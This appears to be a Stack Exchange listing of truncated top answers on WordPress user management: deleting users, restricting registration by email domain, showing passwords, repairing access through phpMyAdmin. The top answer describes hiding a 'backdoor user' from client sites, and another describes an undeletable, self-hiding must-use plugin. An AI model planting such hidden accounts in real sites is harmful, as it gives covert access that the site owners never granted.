Hot answers tagged

6

While you can't guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example) add_action('pre_user_query','sleeper_pre_user_query'); function sleeper_pre_user_query($user_search) { global $current_user; $username = $...


3

You'll need to log onto your FTP server and goto the wp-content folder -> plugins -> and delete the GZIP plugin you have installed. If you are not sure about FTP, you can probably try and go through your web server control panel, they usually have some sort of file browsing option. You might also need to check the .htaccess file also, but just try removing ...


2

Yes. The full answer is here in the codex: http://codex.wordpress.org/Plugin_API/Action_Reference/delete_user So I won't repost its code. function my_delete_user($user_id) { global $wpdb; $email = $wpdb->get_var("SELECT user_email FROM $wpdb->users WHERE ID = '" . $user_id . "' LIMIT 1"); $headers = 'From: ' . get_bloginfo("name") . ' &...


2

There doesn't seem to be a way to interrupt deletion process in wp_delete_user() function, which performs it. However in runtime WordPress runs (naturally) capability check before deletion: if ( ! current_user_can( 'delete_user', $id ) ) wp_die(__( 'You can’t delete that user.' ) ); It passes $id of user being deleted, so you should be ...


2

I think an easy way to do this would be to make use of the wordpress template structure, take a look at Codex: Templates and Codex: Template Hierarchy for a general overview. But namely you could use the author templates - Codex: Author Templates - for this, so likely you will adapt the author.php file to fit your needs. Additionally you want to change ...


2

You may need to use your hosting accounts phpMyAdmin to edit the wp_options table. There are two spots (rows) in that table that contain the URL of your WP site. Change both of the values to your URL, and you should be able to access things.


1

Just copy the above code and paste it into your theme’s functions.php file. Here I am going to show you the code which will reject registration from all others domain's email addresses and Only allowing @uniname.ac.uk email addresses to create an account. See the code below function is_valid_email_domain($login, $email, $errors ){ $valid_email_domain =...


1

Requirements In Settings->General, the box Anyone can register must be checked. Email address entered in Email field of registration form, must have an email domain equal to '@uniname.ac.uk' Email address Validation To validate email address, we can use 'registration_errors' filter hook. Code Insert the following code into functions.php of your active ...


1

i built an small/simple example and i hope it will help you. Admin dashboard widget with an save button First, we register a function which tells wordpress that we want to create an admin dashboard widget /** * Registration of the Admin dashboard widget */ function ch_add_dashboard_widgets() { wp_add_dashboard_widget( '...


1

Why not using something like this ? : https://www.engagewp.com/wordpress-allow-users-delete-accounts/


1

There are many articles already available which shows how to build profile and change password screens without using any plugin. This can help you with the purpose: https://wpcode.io/howto-create-front-end-profile-edit-page-wordpress/


1

I would strongly disagree to show the password as the user typing it. You could instead implement a way to show the status of the field with a user action like a user click to show password or on hover. The reason is that the user makes the decision to show the password. Also, improve the security as maybe the users are not alone when they typing it Some ...


1

Best way to do this, without making too many changes to the code, is to use JavaScript (jQuery) that will add Hide/Show capability to the existing password field. Excellent free jQuery plugin for that is: HideShowPassword. It has many ways to customize how the password will be visible.


1

WordPress triggers a custom hook when certain meta is updated, user meta counts. See updated_{$meta_type}_meta. Here's an example use case: add_action('updated_user_meta', function( $meta_id, $user_id, $meta_key, $_meta_value ) { switch ( $meta_key ) { case 'mobile_number': case 'address': $user = new \WP_User($user_id); ...


1

Just look for an empty user_activation_key in users-table. If is empty, user is active. If is filled, user is inactive.


1

You can use the user_register hook and then mail all your subscribers. Something like: add_action('user_register','notify_new_member'); function notify_new_member(){ global $wpdb; $usersarray = $wpdb->get_results("SELECT user_email FROM $wpdb->users;"); $users = implode(",", $usersarray); mail($users, "New Member", 'A new member has just ...


1

Create new admin account using proper name and password. Login as new admin and delete old admin account. You are done. Suggestions to use phpMyAdmin MD5 hash are out of date. This doesn't work anymore:


1

User meta information, like that on the profile page, is stored in the usermeta table in the database. You can add extra fields by hooking into the show_user_profile and edit_user_profile action hooks. Then you can save the information by hooking into the personal_options_update and edit_user_profile_update action hooks with a function that updates the new ...


1

You are making some assumptions about WordPresses user system that are incorrect. author_link and comment_author_link return the value that people provide in the website field when leaving a comment or on their user profile (if they have signed up). These fields may also be empty, but virtually always will point to an external site if set. It does in no ...


1

I tried to create a custom form registration a while ago using wordpress. I wanted to register several custom fields and make them required so I tried to find the right plugin instead of reinventing the wheel. I found a good plugin called theme my login: http://wordpress.org/plugins/theme-my-login/ You will need to read a bit to do this, but lucky us there'...


1

The hook load-$pagenow can be used too. Putting it in a Must Use plugin prevents its de-activation. And adding a simple filter, we can hide the MUs from appearing in the dashboard (here, a more detailed technique). <?php /* Plugin Name: Cannot delete user Description: Blocks the deletion of the user with ID == (adjust bellow) Author: ...


1

As @toscho stated in the comment. A non-deletable user isn't possible. What I personally use is a SysBot script that I host on GitHub as Gist. The use case for me normally is to map posts that I generate from remote sources to a user when the incoming remote data doesn't contain anything that I could map to an existing user. You could go one step further ...


1

Use the existing system. Create yourself a new Role for your Quiz people, using add_role Make sure that Role has no capabilities, including 'Read'. Without 'Read', which is the only (default) capability "Subscribers" have, the user cannot get to the backend at all but can still login. Since these are invited users, presumably you will be created in them ...


1

I recommend you to use Send Mail on User Delete plugin. It gives you to change the mail content too from admin. You can send email both user as well as admin.


1

There must be some plugin that is causing the issue, you should try disabling all the plugins and reactivating them one by one and see if you find out which plugin (or the theme?) is really causing the issue, if it doesn't work for you there is always another way. you can create as many administrator account as you want from phpmyadmin, so here goes the ...


1

There's a capability that's named edit_others_posts, that you can assign to users or roles. But there's also an easier way to do this: The (by default) hidden "Author" meta box. How-to change the author of a post 1. Click the "screen options" tab on the upper right of the admin screen. 2. Check the "Author" checkbox 3. Choose the author of the post


1

take a look at wp_delete_user , all you need to do is pass the author's id and his posts will be deleted along with its account.


1

I'm not sure what the hosting provider Fat Cow gives you but if you have cPanel and phpMyAdmin, you can log into phpMyAdmin, find the database for your WordPress installation, and then find the wp_users table. Find one of the duplicates (2 entries with the same name) and delete one of them. Reset your password again and it should work.


Only top voted, non community-wiki answers of a minimum length are eligible